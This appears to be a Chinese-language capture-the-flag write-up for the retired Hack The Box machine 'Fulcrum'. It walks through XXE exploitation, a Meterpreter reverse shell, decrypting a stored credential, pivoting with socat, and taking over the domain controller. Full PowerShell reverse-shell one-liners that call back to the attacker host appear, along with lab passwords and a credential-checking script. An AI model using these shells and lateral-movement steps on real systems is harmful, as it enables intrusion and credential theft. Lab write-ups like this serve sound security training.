本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.62
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.62 -o ./Fulcrum-autorecon
此靶机有一定的难度,官方显示如下:
扫描结果如下:
根据开放的端口一个一个访问
先放着,这里点击了下try again 看到显示的url,根据经验和前面做了靶机判断可能存在文件包含,先放着继续向下看
一个Windows报错页面,暂时放着,后面测试,知道最终是要拿Windows的权限,继续
是个phpmyadmin页面
是个关于sense的web页面
像是个api接口;
到了这一步基本上该测试的端口都测试完了,那么我猜想这里的难度就是干扰太多,例如前面看到的phpmyadmin页面,sense也面都会导致测试者在这上面花很多实际,而实际情况是等你在前面的所有端口测试完毕之后,最后一个端口56423才是打开目标入口的必经之路,关于10.10.10.62:56423 此页面是需要通过burpsuite进行漫长的测试,最终得出存在xxe漏洞,然后配合前面提到的可能存在文件包含漏洞进行配置利用反弹拿shell
反弹shell
通过msf配置生成反弹shell代码,这里也是可以使用php-reverse-shell.php
上面3步搞定完成之后,本地kali使用python搭建一个简易web,然后执行burpsuite的请求,即可反弹shell
通过msf拿到的反弹shell不好升级tty-shell,我这里特地演示出来,如果要升级tty-shell需要在此shell基础之上再反弹个shell到本地kali然后套路就是一样的可以升级tty-shell,最终得出如下tty-shell
拿到shell之后翻看了目标靶机的各种文件,得到如下重要信息
这是个powershell加密的密码信息,解密以下
得知了用户名WebUser 密码:M4ng£m£ntPa55
可参考:
https://devblogs.microsoft.com/scripting/decrypt-powershell-secure-string-password/ https://github.com/PowerShell/PowerShell
执行arp -an发现存在IP地址192.168.122.228 可以使用nc进行扫描,但是我觉得慢了,尝试使用静态编译好的二进制文件nmap进行扫描
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
扫描出来目标开放了端口5986 ,这里是跟winrm有关,可以通过上面得到的账户和密码和这个端口进行反弹shell,在做这一步操作之前先使用ssh或者socat进行端口转发,我这里使用静态编译好的socat进行转发端口
使用静态二进制文件socat进行端口转发 目标靶机执行 ./socat tcp-listen:28833,reuseaddr,fork tcp:192.168.122.228:5986 & kali上执行 socat tcp-listen:5986,reuseaddr,fork tcp:10.10.10.62:28833 & 上面的最终效果就是在kali本地监听了一个5986端口,这个端口相当于192.168.122.228的5986端口
静态socat文件下载地址:https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat
使用winrm管理
对应shell脚本代码
https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell.rb
修改代码保存名称为:bmfxrm.rb require 'winrm' # Author: Alamot conn = WinRM::Connection.new( endpoint: 'https://127.0.0.1:5986/wsman', transport: :ssl, user: 'webuser', password: 'M4ng£m£ntPa55', :no_ssl_peer_verification => true ) command="" conn.shell(:powershell) do |shell| until command == "exit " do output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')") print(output.output.chomp) command = gets output = shell.run(command) do |stdout, stderr| STDOUT.print stdout STDERR.print stderr end end puts "Exiting with code #{output.exitcode}" end 上述代码修改完成之后,安装对应的winrm以来文件 sudo gem install -r winrm 成功之后,执行ruby bmfxrm.rb
还是不能拿到user.txt继续搞,执行下面代码收集需要信息
(New-Object adsisearcher((New-Object adsi("LDAP://dc.fulcrumlocal", "fulcrumldap","PasswordForSearchin123!")),"(objectCategory=Computer)")).FindAll() | %{ $_.Properties.name } (New-Object adsisearcher((New-Object adsi("LDAP://dc.fulcrumlocal", "fulcrumldap","PasswordForSearchin123!")),"(info=*)")).FindAll() | %{ $_.Properties }
得到上面的信息就可以跳到FULCRUMBTABLES ,具体执行如下,进行反弹shell
$passwd = ConvertTo-SecureString '++FileServerLogon12345++' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('FULCRUMBTABLES', $passwd) Invoke-Command -Computer File.fulcrum.local -Credential $cred -ScriptBlock { $client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() }
这里需要本地监听53端口进行反弹shell,其他端口有问题
反弹成功之后,访问DC服务器,然后根据枚举获得的管理员账户和密码进行提权
访问域控制器 net use \dc.fulcrum.local etlogon /user:fulcrumtables ++FileServerLogon12345++ 进入域控制器 cd \dc.fulcrum.local etlogon 使用下面的脚本枚举出具备管理员权限的凭据名称 function test($u,$p) { (new-object directoryservices.directoryentry "",$u,$p).psbase.name -ne $null; }; $files = @(gci \dc.fulcrum.local etlogon*.ps1); foreach ($file in $files) { $result = Select-String -Path $file -pattern "'(.*)'"; $user = $result.Matches[0].Groups[1].Value; $pass = $result.Matches[1].Groups[1].Value; if (test "fulcrum.local$user" "$pass") { echo "fulcrum.local$user $pass"; }; } 上述运行结果得出管理员凭据名称 fulcrum.local923a @fulcrum_bf392748ef4e_$
上述操作完成就知道了账户和密码,那么我们就可以同样的方式使用监听53端口反弹shell,只是需要更改用户名和密码
$passwd = ConvertTo-SecureString '@fulcrum_bf392748ef4e_$' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('fulcrum.local923a', $passwd) Invoke-Command -Computer File.fulcrum.local -Credential $cred -ScriptBlock { $client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() }
$pass = convertto-securestring -AsPlainText -Force -String '@fulcrum_bf392748ef4e_$'; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist 'fulcrum.local923a',$pass; Invoke-Command -ComputerName dc.fulcrum.local -Credential $cred -Port 5985 -ScriptBlock { cat C:UsersAdministratorDesktop oot.txt }
这里也是不太明白,明明可以直接读取root.txt但是不成功,必须按照上面那么执行,网上给的资料看样子是可以那么操作,但实际不成功,有知道的大佬联系下